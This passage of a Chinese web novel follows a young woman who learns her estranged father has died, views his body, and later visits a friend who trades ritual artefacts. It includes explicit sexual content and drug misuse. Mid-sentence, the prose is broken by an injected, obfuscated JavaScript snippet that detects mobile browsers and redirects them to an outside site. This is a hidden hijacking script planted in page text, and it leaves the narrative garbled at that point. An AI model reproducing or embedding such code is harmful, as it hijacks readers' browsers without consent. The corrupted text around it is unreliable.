秋月白一声不吭,宣正仪却在她意料之外地发声了,“Elle,那是我的人。” “Elle,那是我的人。”才读硕士还要倚仗家里的孙辈阴沉着脸强调,“那是我的人。” 她本来就是为了宣正仪才出手救人的,闻言点头,“OK啊,我们一起玩。” 疯狂朝宣正仪使眼色,她后知后觉秋月白的脸色越来越阴沉。 气氛沉闷,一朵绢花被惊落在林霏开发间,摘下那朵花,月买茶将它别在鬓间,朝秋月白笑,“哥,好看吗?” “脏死了。”秋月白几乎是扯下那沾了灰的绢花。 用力扔到地上里,秋月白牵起她的手腕,强硬拉着她转身。 眼尖的人让开道,她回过头,听见谢庭玉用口音奇异的缅甸语说: “Garuda???????????????????????????” 迦楼罗,不想哥哥吗。 13.死的爸爸 一个人能有几个故乡?或者说,凭什么,小时候的人,和长大的人,是同一个人。 是多幸福才会认为一个人永远在与正能量会面? 是怎么样的傲慢才会认为一个人不会被破坏到面目全非? 站在第三段人生的尽头,月买茶偶尔会回过头去看那个她安慰监护人“我们不受嗟来之食”的下午。 你见过鹭岛的夏吗?那里的夏天很长,五月底开始教学楼会被绚丽晚霞围绕,巨大到拥有阴影的白云和粉金的霞光明明是一块儿的,却泾渭分明,好像盘古是从那里劈开天地的。 午睡的时候会把睡姿摆成大字型,阳光会插进两片厚厚的刺绣窗帘刀一样劈在身上。 是在期待被分尸么? 其实那是很不错的死法,至少干脆。 易慧说在语文课本还没变大的时候课本上有一整页盘古的裸|体,那时我想到干祂祖宗十八代的God有几把。 家里的牧师和和尚良心大发时会虔诚地在她面前訇然,“你该赎罪啦,孩子。” 为你深重的罪孽,为你正在食的苦果。 可是超忆症从没记住后果。 谁知来生的幸福里会不会出现今生的拦路石,倒不如在今生把整个轮回的罪孽都犯完,来世来来世来来来世再向善。 一个女人再怎么苦,也只能苦成贫穷的性|奴,不是么? 据说涅槃佛教不求轮回,求生命之火永远止息,如果信就行,她愿意捐黄金。 有关缅甸的记忆不多,印象最深的是白人黑人黄人在巨大的金像下争论着取名,表女性的Ma是要的,表亲近的Ah也是要的;新颖的Thit是要的,高贵的Saw也是要的,小姑娘可爱又黏人,那么,Khin Khin也是要的。 总统叫Myint,那Myint也来一个。*1 各叫各的一段时间之后,背负了无数人命的亡命徒们忽然怕了,为了孩子的魂灵不被鬼怪喊走齐刷刷喊起吃蛇的小名迦楼罗。*2 那也是她那个出生周日之人的生肖,一个God缺位的日子。*3 星期日出生的迦楼罗,总统的Myint,每个跟安德鲁.蒙巴顿通电的日子都会站上蓝漆的天桥,在三角梅旁想死。 Ne Win,Ne Win我爸爸明亮的太阳,请你不要哭泣,青琐的天桥不种三角梅啦。 “哥哥知道忒修斯之船吗?*4”车轮路过一排照亮黑夜的太阳,月买茶眨眨眼蒸发晨露,“哪吒好勇敢。” 揽过她,秋月白在她头顶上悠长地叹息,“茶茶,你是你爸爸妈妈的孩子,这点永远不会变。” “船板不起决定作用。” “能回港的船,能把船开回港的人,是最厉害的船和人。” “那哥哥为什么不姓白呢?”她也抬起手,抱住秋月白。 秋月白有健身的习惯,背很宽,揽起来很费劲。 热爱攀岩的手在骆马绒大衣上扣了个洞,手轻松地挂在上头,她静默赏起秋月白的呼吸。 没事的哥哥,再过半个月我就走啦。 长车驶进胡同,后海的歌声踏着雪点点地来,她被秋月白挪开。 “有个应酬,时间不会长,你在旁边等等。” 月买茶说好。 厢房古色古香,房梁油光锃亮,很适合挂白绫,服务生进来传菜,冬去春来饭,烧鲳鱼,腌笃鲜……家常菜。 动筷的时候阿赞打电话来,说在曼谷了,弟弟四岁了,阿赞来给他布置幼儿园,小孩子太孤单要出事的。 加密电话结束得很快,褪下腕上的佛珠,拨了拨,月买茶想这玩意应该能装逼,明儿拿去送给言笑。 冬去春来饭上洒了金箔,大雅大俗,准备学微积分的弟弟也裹着金箔,孩童纯真,大雅也大俗。 加西亚.加西亚说为了给她庆生每年都在瑞大光塔下给她塑金像。 不如把钱给她,Amen,打电话给做枢机主教的叔父,她朝缺位的God忏悔。 干巴巴说了句宽恕我吧,月买茶默了半天,愣是没想起一篇高分忏悔模板。 好在那是用伤疤陪她长大的叔父,不会介意她的沉默:“怎么了?我亲爱的。” “我伤害了一个善良勇敢聪明的灵魂。” “我亲爱的。”叔叔叹息,又笑道,“你从未改变。” 是的,是的,她从未改变。 问了点家里的事,叔父问她吃晚饭了没? “正要吃。”月买茶拿起筷子,夹起一颗蚕豆。 三月的蚕豆鲜美,他们一家三口在春城度假的时候解琟会把蚕豆和进糯米粉了,做青蛙趴石板。 那时她血糖还正常,可以拿油煎过的糯米糍蘸糖吃。 文件翻页的声音传来,她听见叔父问:“那个老太太怎么你了?” “异教徒死不足惜。”月买茶说着,用蚕豆蘸了蘸金箔,放进嘴里。 不好吃。 不喜欢。 讨厌。 她想吃肉。 她要吃生肉。 “你最近是不是在和一个新兴教派接触?”叔父又问。 “那有什么奇怪的?提前抢占市场而已。”月买茶答。 “不是因为你生父?”叔父笑着问。 “没人比我更爱爸爸,没人比我更爱我们的家族。没人。” “不要侮辱我,叔父。” “好,好,你不是。”叔父泄出一声笑,一声好了不逗你玩的笑。 聊了点近况,看看时间,想起说时间不会长的秋月白,她不由得笑出了声。 叔父却没问她为何笑,D.C.的工作时间到了。 第三次执起筷子,她的目标是腌笃鲜里的肉。 筷子扎进块状咸肉里,看到那层胶质,月买茶满意极了。 哪能什么都由着秋月白来。 不待把肉放到小碗里,未沉寂多久的手机就又响了。 没看来电人就接起来,月买茶发誓再也不要吃金箔,难吃的食物简直是毁掉人生的原子弹。 姚灵雨娇横的像有个自己的奴隶制国家,讲话的方式也自成一语系。 具体翻译不出来,大意是破财消灾,以那谁谁要上小学了为结束语。 “干你全家,滚。”强行给手机关了机,月买茶起身,推开隔壁的门,打断气氛不错的应酬。 迅速从满屋的骆马绒里捕捉到秋月白的那件,她看着他的眼珠道:“哥哥我先回去了。” 秋月白便让他的秘书送她回去。 回到竹园,上楼的时候路过厨娘,厨娘笑吟吟地看了下她肚子,说晚上的鸡正要蒸,“喝点鱼饺汤暖暖胃吧。” 叶青衫叫厨娘每日做只鸡给她吃来补营养,白天她起不来,便都在晚上吃。 她的心情一向好得快,就应了。 用鱼肉做皮的鱼饺,滑溜溜的,吃的时候她想起易慧。 易慧的爷爷极看不起面皮包的扁食,觉得肉少不好吃。从鹭大校门口步行三十分钟到中华城南门,上到四楼,往后走,到橱窗摆着蛋糕的劳春,吃二十三块一碗的酸辣扁食时,易慧会回忆她的儿时,并痛心疾首地后悔为什么要走半小时来吃一碗性价比不高的网红扁食。 她抱怨了三回后,月买茶肩负了起每周开一回电动车送她到中华城的重担。 有多久没开电动车了? 水沸腾的声音咕嘟咕嘟的,月买茶抬头看,见厨娘在给整鸭去皮,她嘟囔道,“哥哥不在去什么皮。” 秋月白的父亲是被烧死的,陪在父亲病床边见证生命流逝,秋月白见皮就难受,遑论吃了。 “这是明早给你们一起吃的。”说罢厨娘放下鸭子,掀开蒸锅,要把切成碎块的鸡放上去。 “晚上吃得好饱,就不吃了吧。” “我拿去喂Lucky。” 拿着黄澄澄的鸡肉往后院走,喊了声Lucky,她捻起一块鸡肉放进嘴里。 调味不重,可以分享。 缉毒犬Lucky从角落里窜出来蹲在她跟前,她分了块给它,边吃边往外走。 走着就走到Lucky后头去了,没Lucky熟悉竹园,月买茶干脆就跟在它身后,由着它乱走。 “你这狗还挺浪漫。”望见一片披着雪的红玫瑰田,她笑了下。 Lucky继续往前走,走进玫瑰田,一直走到中央的石像下,它才停下脚步。 抬头瞻仰了会儿,月买茶认出那是大元帅陈嫣然。 “咱们奶奶真威武。”揉揉狗头,月买茶脱了斗篷铺在散发着铁腥气的泥土上,坐下去。 战后大元帅陈嫣然与其夫携存活下来的有情人补办婚礼,十里红花绵延,万屋空人千民欢庆,无比热闹。 再也没有人会有那样的功勋,收到那样的庆贺了。 “来。”她朝狗招手,狗把脑袋架在她手上,她掏出李惨绿送她的望远镜架在狗眼睛前,“等我忙完,我带你去太空玩。” 月历4023年,上太空已易如反掌,若非太空远征军发了虫洞不稳定警告,天上早就挤满了度假的人。 随手调了个电台外放,听着主持人遗憾的:“重返太阳系,人类依旧没有找到失踪的地球母星……”她进入天星最有用也最肮脏的网站Secret。 是冲着加西亚.加西亚的近况去的,结果视线被一条悬赏令叼住了。 悬赏令金额不高,夏洲国籍,只是对象是狗不是人。 那是条戴着止咬器的春城犬,目光炯炯。 没看详细信息,月买茶把手机晃到吐着舌头卖萌的Lucky眼前,“看看别人家的狗,再看看你。” Lucky用清澈的眼神与她对视,她嗐了声,说着傻狗有傻福就站了起来。 其实Lucky不傻,反而很厉害,只是在一场缉毒行动里被刻意暴露的毒品碰到了鼻子,因伤退役了。 夜空渺远,有云飘过,Lucky乐呵呵地踩过斗篷走上来时的幽长小径,鼻尖上落着几片血红的玫瑰花瓣。 * 披着亮了半个世纪的灯光进屋,抖掉身上的草叶,她像无忧无虑的公主一样,哼着歌,踩着轻快的步伐上楼。 学着Mouse for sale*5那集的舞步跳过走廊,她的脚步停在书房前。 要层层密码才能解锁的书房此刻虚掩着,透出的灯光偏黄,明亮又温暖,让她能够看清书房里的人在做什么。 长案后,齐燕华正执笔挥墨,凝神静气的样子和柔软的家居服缓和了那张俊脸的攻击性。 他身侧李惨绿在垂眸磨墨,浓密的睫毛黑如墨汁,随呼吸轻颤,穿一件红底印有人脸月亮的衬衫,认真的样子像风靡校园的清冷学长。 不过清冷学长穿红衬衫吗?盯着衬衫上诡异的人脸月亮,月买茶忽地意识到那是件很薄的衣服。 南边已经回暖了吗?她很久没见过夏天了。 不待哀思,两张无双俊脸就转移走了她的惆怅。看着他们低声交谈,月买茶的脸上泛起一层热意。 她想起朋友分享的看见父亲和男友坐在一块儿喝茶时的感觉。 “是一种很奇妙的感觉,就是我真正长大了,能去建构一个家庭了。” 如果是那样的话,也挺好,月买茶情不自禁笑起来。 “怎么不进来?”齐燕华的声音传来,月买茶揉揉耳朵,推门进去,一蹦一跳地站到李惨绿身边。 “千年万岁,椒花颂声。”念出宣纸上遒劲的字,月买茶疑惑地偏了偏头。 看不懂。 不喜欢。 她不吃辣。 尽管她生父母和监护人都在一个以吃辣出名的省份长大。 “我们在说你爸爸的葬礼要怎么办?”放下狼毫笔,齐燕华走到窗旁,背对着她,“你伯伯的意思是不要办。” “他怕有人找你麻烦。” “啊?”脸上的热意瞬间消退,月买茶怔怔抬头,看了看面色平静的李惨绿,又看了看齐燕华绷直的背影,她的心凉了一截。 他们都不是会开玩笑尤其是开那么恶劣的玩笑的人。 可是…… 爸爸的葬礼?月买茶怀疑自己听错了,她生父在明面上是约等于死了,但在加西亚.加西亚嘴里可活得好好的。 冷酷而自在。 “是迁墓吗?”月买茶强撑起笑脸问:“刚好认识个挺厉害的风水师,我去联系——” “茶茶,你父亲的遗体于七日前在滇省边境被发现。”齐燕华的话清晰的像把能照镜子的刀,“你有知情权。” 月买茶顿在原地。 真死了? 夜色投入室内,在两张俊脸上打下阴影,叫人看不清他们的情绪,枝头的喜鹊发出凄凉的叫声,听了好一会儿,月买茶艰难地转动眼珠,看着李惨绿: “我爸死了,你穿红的?” “是,是好事。” “天大的好事,值得,普天,同庆。” 不知哪里来的气聚集在胸腔,推动着她口不择言了许多好,推动着她避开李惨绿伸来的手跑出书房。 草叶累累的格裙在有镀金框架的大人物油画的注视下翻飞,小皮鞋落了一只又落了第二只。 新闻播报无国界科学家组织发现新虫洞,坏天气将持续,“若遇到时空折叠请不要惊慌,时空乱流结束后会转好。” “若遇见来自平行时空的陌生人请及时上报……” “真好看。”爬着金蛇的镜子前有张牛皮包被的椅子。 平安夜不寻常的暴雨里,非妇女的人低下头。 “我很好看,对吧。” 把她浮肿的脚塞进高跟鞋里,叔父说那当然。 是真的好看的一张脸,鹅蛋脸,大眼睛,鼻子小巧,组合在一起,是一张洋娃娃一样精巧若天工雕琢的脸。 只是脸色不够红润。 青白的脸色,显得那脸像鬼屋里的洋娃娃。 夏日常见的暴雨里,李尅那样评价。 “李尅,我去你家住一晚。” “哭什么?” “我爸死了。”月买茶打开雨刷,身后数辆改装奥迪紧追不舍,她转向到一个专住年轻权贵的区域。 寒风冻住眼泪,火辣辣的疼烧进心脏,耳膜被不停的电话铃声冲击到爆炸。 一地的血。 “解琟——吗?”李尅的声音轻轻的,“你不是不大喜欢他?” “我都讨厌。” 车轮跟地面擦出刺耳声音,方向盘发出更刺耳的声音,不亮的小楼亮起,亮着的小楼亮如白昼。 用毕生去恨的人死了,为什么心是痛的? “笑啊。”月买茶如此命令自己,碎尸的鸡在肚子里叫,她提前尝到了饿鬼道的痛楚。 “你笑啊,谢锦宝你笑啊。” “谢锦宝我干你祖宗十八代,干你全家。” “我干你爸。” 多恐怖啊,不是吗? 于是一个由形象设计团队基于面部肌肉走向、容貌匹配度、人类心理等各种因素研究数年后定制出来的笑被催生出来了。 * 李尅常年在外地,很少回京,别墅里东西不多,大部分还蒙着防尘罩。 无视身后跟着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16981692|193415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的奥迪,她驱车去药店买了点冰袋和伟哥。 只那一小段时间过去,别墅就变得烟火气十足了。 防尘罩俱被摘下,水吧的器械运作着,茶几上摆了个肉干盘。 捏开冰袋摁在眼上,她的小腿肚抽了抽。 一瞬间的刺痛过去,眼睛连着眼周的肌肤都变得钝钝的,拿刀扎怕是都没感觉。 仰着头,看着窗外暗不见底的夜色,她拆了一把伟哥扔进嘴里干嚼,在东南亚度过的两年时光不停地在眼前闪现,她渴望起遗忘。 八个顶尖的心理医生和十二个精神病学家一起下场更改她的记忆,才勉强让她忘了大部分往事。 父母被车撞死的场面就像废弃剧院里落灰的幕布一样在眼前飘荡,放下冰袋,把脸埋入掌里,月买茶重重叹了口气。 别去想了,你现在有疼爱你的父兄,爱你的男朋友和还有用不尽的钱权,你应有尽有。 你那么完美,为什么要因为一个……一个不熟的人生气,把自己扔到消极情绪里呢? 没必要,没必要因为那一个人辜负那么多爱你的人的心意。 没必要…… 缓缓抬起头,月买茶对着窗户挤出一个笑,撑着桌子站起来,像一个全力跑到终点的马拉松选手那样筋疲力尽又精神亢奋地离开客厅。 她要去找在终点等她的人。 “李惨绿,你在哪啊?”她握着伟哥,环视着卧室。 “我在门口。”李惨绿说,“我进去接你。” “你进来好不好。” 一直到她四十岁那年,她二十岁那年的春雪都是史诗级的大。 先是簌簌的小雪片,然后是纷扬的鹅毛大雪,到了午夜,整个世界都像是被冰封了起来。 不过那影响不到暖气荣荣的室内,隔了层玻璃,初春的温度与严冬的温度对撞,在玻璃上粉碎成厚厚的雪雾。 涂着红色指甲油的手挣扎着从床上立起,像溺水的人那样在空气中挥舞求救,又散失了全部力气一样摁在雪雾上,痛苦地下滑,留下一道狰狞痕迹。 咬着手指,月买茶难耐地呼吸。 视线里出现飘渺的红点,血红血红嵌在米色卧室里,像一碗永不凝结的心尖血。 上上下下的振动期里,那是月买茶视线唯一能聚焦的地方。 粗喘绕着红点,绘出被亚麻被子磨肿的肤,钢珠横冲直撞,却依旧不让人满足。 一道两道粗喘,三道四道粗喘,粗喘从眼睛里喷射,喷射在空荡荡的大床上,下|身愈发空旷,静悄悄的像死来死去至今没死出个灵魂的父亲的躯壳。 白色的躯壳,只有血在流。 白色的躯壳,缓缓下坠,灵魂升天,灵魂转身,灵魂坐在躯壳上,坐出一片梦一样的欺骗。 欺骗梦一样化成海洋,白色的躯壳沉浮于海上,像一抹永远触不到的月光。 月光的海,暴雨如注,海浪翻滚一层高过一层,拍碎岛礁。 抱浮木一样抱着碎石上割人的藤壶,缓缓下坠之时,她听到一阵歌声。眼皮颤了颤,睫上海水被抖落,她望向虚空—— 一只海妖正唱着使人失魂的歌,祂灵巧的双手不停织着,织出一张剪不坏烧不毁腐不化的网,罩在海面上,叫她挣扎不得。 网的岸边,一艘渔船晃晃悠悠地发出烧酒香气,船上的煤油灯发着微弱的光,在粘稠的黑暗里辟出一拳亮色。 渔夫在哪? 海浪拍打起她,她坐起来,她伸长脖颈,因寻不得同类而发出天鹅引颈受戮时的哀嚎。 渔夫在哪? 她望向海底,海的深处,宁静缓慢,是风暴触摸不及的地方。 是理智之地。 那处长着一片人脸月亮,一个男人正大汗淋漓地收割着月亮。 烧酒的醇香自男人身上流溢出来,熏得月买茶热泪盈眶,她认出男人是渔夫,她拔起一个最亮的月亮,砸向渔夫: 离开我的海。 她愤怒地张嘴:“??????” 爸爸。 刹那间海水退去,男人化白骨,月亮成十字架,海妖露出真面目—— “了了。” 一瞬间天旋地转,仿佛蝼蚁在人的万花镜里旋转坠落。 终于从海难里获救,月买茶发现自己穿着吊牌都没摘的男款衬衫,窗边的衣架上挂着熨烫齐整的new looks黑白套裙和其他参加葬礼用的配饰,还有一套贴身衣物。 赤着脚下楼,她被肉味吸引到厨房,砂锅里温着冬粉鸭,岛台上摆着瓶永春醋。 拿了个超大碗装了半碗冬粉鸭,月买茶把醋倒进碗里,站着嗦完粉。 选内衣的人很贴心,但是高跟鞋哪怕只有十厘米都让人脚疼。 戴着网纱帽出门,她看到门前停着的Atlantic。 蝴蝶门飞扬,李惨绿坐在车里,身上是她不曾在他身上见到过的黑衬衫。 琥珀色的眼睛看过来,月买茶用口型说:“我们复合吧。” 李惨绿揺了摇头。 确实不是什么一定要做的事,月买茶笑了起来。 她觉得很好笑,所以她哈哈大笑起来,她前俯后仰笑着任李惨绿给她系安全带,呜呜在车上笑着一路笑到太平间,一直笑到生父的遗体旁。 毫不避讳掀开白布,出于对死人的尊重,她低头瞻仰起他的遗容。 那是个死透了也能看出儒雅气质的男人。 很难想象那样一个清瘦的人会背着自己的女儿游走在东南亚,还让她在物理上安然无恙。 在心理医生和精神病学家的共同努力下,她五岁前的记忆已经趋近于无了。 可有些事深植骨髓,只消想到关键词,看到关键人,便能长起一片完整画面。 “我还记得你带我去柬埔寨,去吴哥窟,用标准的姿势求佛保佑我。”摸着生父的脸,她喃喃。 “伯伯说,你继父把刀架在你脖子上你都不让步。” 可在东南亚的热带雨林里,在裹着青苔的佛像下,在僧人齐声诵经时,在飘飘的黄布间,瘦削的男人背着女儿,用最标准的姿势向从未信过的佛祈求孩子无病无灾,一生顺遂。 被那样让人感动的画面刺激到,她的手腕使了些力气。 镶金属饰品的长美甲下陷,尸体脸上出现了道愈合的疤痕一样的痕迹。 见状,她怜悯地笑了笑:“可我们都知道我为什么会得病。” “报应不爽啊爸爸,你要是拦了她,不就不用去跪那破石像了。爸爸,你是在拜佛,还是在拜自己的愧疚?” 说完停了好久,贪婪地注视着躺在冰冷白气里的父亲,她看他宛若安睡的面庞,平和搭在胸前的手,和手上闪烁着光的婚戒。 记忆里模糊的人像有了实体,她却一点也不欢欣。 “爸爸,我爱你,是因为我恨妈妈,因为我恨她,所以我把该给她的爱一起给了你。”俯身,她吻了吻生父的脸颊。 “我其实也挺恨你的,不过恨妈妈的理由更充分,所以我就把恨全放在她身上了。”直起身,捂住嘴,月买茶想像电视剧里的女主角一样泪流满面,可发酸的眼眶迟迟流不出泪,反而显得她像惺惺作态的恶毒女配,“看在你给我留了那么多钱的份上。爸爸,别来找我了。不然我也要恨你的。” “走吧,男朋友。”她率先拉开门,离开太平间。 出去禁毒委大楼时,雪还在下。天将亮未亮,满地白雪反射月光,造出一个灰扑扑而亮堂的世界。 邪典电影片里的雪天一样。 真可怜,月买茶悲悯地笑起来,她是雷纳塔,她赶走了她的黄蝴蝶。 14.与虎谋皮 是路就有尽头,不管Atlantic的速度降得多低,该出现的终点还是会出现。 月亮躲在雪帘后,枯黄杂草在车灯的照射下变得金灿,披上斗篷,月买茶走进深山里的古建筑。 雪声酥酥,灰蒙蒙的天让处处挂着厚重帘子的房间愈加显得昏暗。壁炉上,鎏金西洋钟嘀嗒走着,发出有节奏的韵律。 绕过摆了满地的古董,她径直走到垂着缦纱的架子床边。 “我来了。”她边说边把自己脱个干净,只留袜环在身上。 帘子随着她的动作被掀起,一只指甲素净的白手伸出来,勾住她的袜带,将她扯入床里。 “靠北,老娘一宿没睡。”把她压在身下,言笑嗅了嗅,“死人味。” “错,是凤凰味。”月买茶推开言笑,把四肢摆成一个“大”字。 “凤凰?你也配。” 眯起眼睛,言笑的视线像扫描仪一样扫过月买茶的身子。 “缩水了。”她拨弄了下月买茶尖尖的孚|乚,“幸好还没成型。” 她说的不是月买茶的孚|乚,而是月买茶在她那定制的琉璃胸衣。 “恶不恶心。”月买茶气息微弱地说,“别动手动脚。” “我是在帮你。”言笑挑着远山眉,话说得猥琐,“揉揉就大了。” “艹你全家,滚啊。” 骂归骂,但她还是维持任着言笑摆弄的“大”字躺姿。 言笑却兴致全无地放过了她,从床头柜里抽出小刀盘头发。 几缕黑发落在脸上,痒痒的让月买茶想知道大地会不会因为松软的雪发痒。 “今晚留下来陪我?”用手丈量着她的维度,言笑说。 粗糙的指腹摩挲过寸寸皮肤,月买茶条件反射地起了一身鸡皮疙瘩,“不了,最近忙。” 侧过身,看着同样未着寸缕的言笑,她沉默半晌,说:“你想去高盛还是摩根来着?” 从白纸里抬头,言笑盯住她,仿佛她是等待构图的画纸。 “梦想再多,也得有个主梦想吧。”月买茶说,“你也别高兴得太早,拿不到毕业证就死在德国吧。” 言笑沉默了会儿,不答反问:“你最近在申请霓国籍?” “对啊,还造了个朱熹流亡霓国的后代的身份。”坦坦荡荡与言笑对视,她轻飘飘道,“我一直饱受重男轻女之困,成为朱熹后裔或许能找到答案。” “重男轻女又不全是朱熹的锅。”言笑翻了个白眼,“你历史读到狗肚子里去了。” 说完默了会儿,言笑感叹道,“温锦衣命真好。” 她要是男的就更好啦。好想认命啊。躺进言笑腿间,月买茶满嘴无奈,“算啦,我还是找杨贵妃去问问吧,解决问题不如解决自己。” “那个人叫宫本丽子*1是吧。” “那是小说。” “好吧。”月买茶侧过头,看紫色长发的黑色公主切刘海,咯咯笑起来。 好想哭啊。 而我想起了我短发的挚友,此刻你在哪里追寻理想?我要怎么欺骗你,让你不为朋友的迷失伤心。 你知道吗?我在你的故乡,用身体编织谎言。 “再笑就滚。” 刘海湿漉漉的,月买茶听话地闭上嘴。 “为什么不让我进Estella的姐妹会,好不容易才搭上关系。” “搭上——”月买茶把“上”字拉得很长,语气却随意到前所未有的程度。 “你们的共同话题是都进过惩戒学校,到时候往细节聊,人是因为磕|药滥|交酗|酒不服管教进去的,你呢?” “照顾被性侵的朋友被担心会得罪性侵者的家长送去军事化管理学校避风头?不怕她们mean死你就去搭吧。” 言笑耳聋一样夹紧她的头:“秋月白是荆靡它初恋。” 荆靡它,眼前浮现出秋月白毫无防备的笑,忍住不跟着一起笑起来,月买茶喃喃道,“确实恶心。” “昨天的事,你上哪知道的?” “又进了谁家的金鸟笼?”月买茶整个地侧翻着,蜷缩起来,胎儿在子宫里的形状。 “你能不能想我点好?” “我们金丝雀也是有社交哒。”说完,言笑不再讲话了。 铅笔在白纸上的移动是比雪更安抚人心的白噪音,湿漉漉的雌性激素里,月买茶把头埋进膝盖里。 胎儿在子宫里的形状。 妈妈,爸爸死了。 阴曹地府里也要好好努力啊,没钱可没法把女儿从地狱里捞出去。 “尼桑对不起,我不该弄坏你的悠悠球。” 清瘦的男生弯下身,眼睛黑溜溜的,“nini,为什么要叫に-に(音nini)尼桑?” “东珍老师说要喊敬称,不然尼桑会觉得不被尊重。”看着洁净的地板,幼童道。 “に-に觉得不被尊重会跟你说。”男生蹲下身,“把头抬起来。” “手拿出来。” 幼童没抬头,只摊开两手的手心。 “啪。”男生把两只骨感的手搭上去,嘴里发出拟声词,“这是nini弄坏悠悠球的惩罚。” “就这样吗?”幼童抬起头,棕色的眼珠亮晶晶的。 “不够吗,那就罚你只能在に-に陪着的时候玩悠悠球。”男生抿出一个笑。 “好诶!!!”幼童跳起来,“nini最爱に-に了。” “に-に为什么要走?”幼童黑色的眼珠蒙着泪,“为什么要离开我们的家?” “nini,这不是我们的家。”男生扶着行李箱,背着光的样子让他看起来很远很远。 “我们,我们三个也能是一家人啊。”泪水如瀑,幼童哽咽,“我们不要哈维了,他要阿什利不要我们,我们也可以不要他。” “nini乖,这里真的不是に-に的家。” 那我呢? 目黑川的樱花就要开放,若我没出现在楼下,你是不是会彻底将我遗忘。 に-に,下雨了,我下雨了。 “你哭什么?” “我爸死了。”拭去眼泪,月买茶问:“干嘛?” “晚饭时间到了。”言笑说,“你请客。” 坐起来,回过头看着言笑,月买茶很用力地说:“我说我爸死了。” “夏洲的习俗不是参加葬礼的给钱吗?” 言笑眨眨眼,回视她:“你是鹰洲人。” “而且哪有光给份子不吃席的道理。” “我连绿卡都没有,鹰洲人个屁。”冷笑了声,月买茶大声宣布晚上吃刺身。 点了多多的生肉和少少的熟食,她宣布她吃生的,言笑吃熟的。 “饿死你。” 下了床,赤条条走到窗边,嘎吱一声推开雕花窗棂,寒气涌入,言笑被冻得骂人。 月买茶也冷,不过冷一会儿身体就自动热起来了。 雪已经停了,血日埋于暮霭下,露出脑壳一样的半圆。凝视着雾蒙蒙的天,一股闷热咸腥的气息顺着鼻腔钻进她脑海,“青琐怎么也有回南天?” “这地适合拍鬼片。”探出身子看雕栏画栋,她道,“指不定就掉下来个穿红嫁衣的女鬼。” 言笑啐了声“晦气”。 “鬼算什么?”她边冷笑边给她穿衣服:“鬼有人可怕?” 抬手抬腿,言笑说要带她去看新货。 走进人|皮唐卡狰狞的房间,路过自鸣的阿姐鼓、淌着白烟的小脚,言笑嘟囔着“嘎巴拉呀嘎巴拉。”翻出一个盒子,亮出里头装饰华丽的头盖骨。 “这玩意真值十个亿?” 戴上手套,小心接过嘎巴拉,月买茶说:“这可是用那个时代最美丽的少女做的,还是活祭。” “还能死了割?”言笑翻了个白眼,喃喃起“Ein Gespenst……” “分人。”手指拂过嘎巴拉上的绿松石,月买茶笑了笑。 言笑还在不信,“真值十个亿?” “分人。”月买茶的语气充满了智慧,“对于对的人来说,这就是无价之宝。” “给那傻逼十亿我难受。” 嘎巴拉是在从前的土司公主达瓦梅朵那里收的,鹰洲追捧贵族,达瓦梅朵挺受欢迎。 “我说了是无价之宝。”月买茶把嘎巴拉放回盒子里,“精神上你烧心,物理上我更会烧心。” 似乎明白了什么,言笑扬起一边眉毛。 “过两天你去德国吧,谁知道买家什么脾气。” 言笑刚要反驳些什么,门铃就响了。 开放权限,服务生推着餐车进来,在她的指挥下把餐点摆上,旋即离开。 随餐附赠了在纽约很火的清酒达克瓦兹和几枝刚培育出来的蓝玫瑰,挨个拆开达克瓦兹舔尽里头的奶油霜,言笑眉飞色舞地问道:“你知不知道李惨绿——” “我们复合了。”看着扭曲的人皮唐卡咽下三文鱼,月买茶说。 “我是想说李惨绿他挺受欢迎的。” “那不正常。” “你掐着我骂了半天都只能挑出他叔叔性侵过我这根刺,能不受欢迎吗?” 从言笑手里抢回被荼毒过的达瓦克兹饼干体,月买茶大口咬下。 除了婆家难搞之外李惨绿简直是最省心的婚恋对象。 解决完晚饭打了几个电话安排言笑的终生工作,言笑在一旁揪花瓣往自己头上洒以表庆贺,电话里助理阿A说达瓦梅朵的事长辈们不大开心。 “记得申请经费。”看眼言笑,月买茶说,“多申请一点,就说我们要干大事。” 举着花蕊,言笑一脸防备,“你干嘛呢?” “什么你干嘛呢?”月买茶白她一眼,“装什么?” 言笑摆出骂人的架子,口才张开就哎呦一声捂住肚子,肠鸣回荡在空气中,她冷笑着问:“马肉好吃不。” 白她一眼,言笑跑走了。 继续与助理说事,说完抬头,残羹剩饭上飘过一片不规则白影,咻一声,那白影迅速从她视网膜上掠过。 墙角的香炉里香料哔啵燃烧着,沉默里,她看言笑满头大汗跑过来,急促道:“好像有鬼。” “你也看到了?那应该是撞鬼了。”不是很在意,她关切道:“肚子还疼吗?” “喝了点温水,好多了。”一屁股坐在板凳上,言笑唱起我的夏洲胃。 愈唱,她的声音愈小,唱至“Labskaus虽吃在嘴,我胃依然是夏洲胃”,她住了嘴,谨慎地四下看看,用极低的音量问月买茶:“我们要不要尖叫一下,不然怪不尊重鬼的。” “大春天不去投胎反而在这扰民,多半是惨死的鬼,惨死的loser,有什么好尊重的。”浑不在意地,月买茶说。 生前是垃圾,死后就能崛起了? “但我还是有点怕诶。”沉默了会儿,言笑喃喃道。 “那不废话,我也怕。万一是来索命的怎么办,我又不知道怎么杀鬼。”知道自己不是万能的,月买茶很严谨地说:“怕就喝点酒吧,壮壮胆。” 侧头继续与助理阿A讲话,公事结束,阿A说起私事,关于她的首富爸爸一家人的事,事无巨细到那只见她就跑的边牧。 “乌拉诺斯仿制得怎么样了?”阿A说完,她问。 “可以上临床了。” “能通|灵的是哪个教派来着?”想起陪妹妹看动漫时充斥着注释的弹幕,月买茶问,“东|正教吗?” “似乎是的。” “但谢济先生是无神论者。”助理阿A有时是世界上最懂她的人。 她沉默,助理阿A立刻吩咐人去寻通灵师,待电话之电话结束,阿A问:“那么那批军火……” “照原计划进行。” 如果真有鬼,白影化开在眼里,一种没有安全感的难受。白内障患者的感受就是这样的吗?她想是否是父母在庇佑她,让她体验五十岁以后的生活,好死而无憾。 若真有鬼,她生出期盼,是能直接托鬼问话的吧。 “就这样。”收起手机,她抓起酒瓶舔了下瓶口,视力彻底白了。 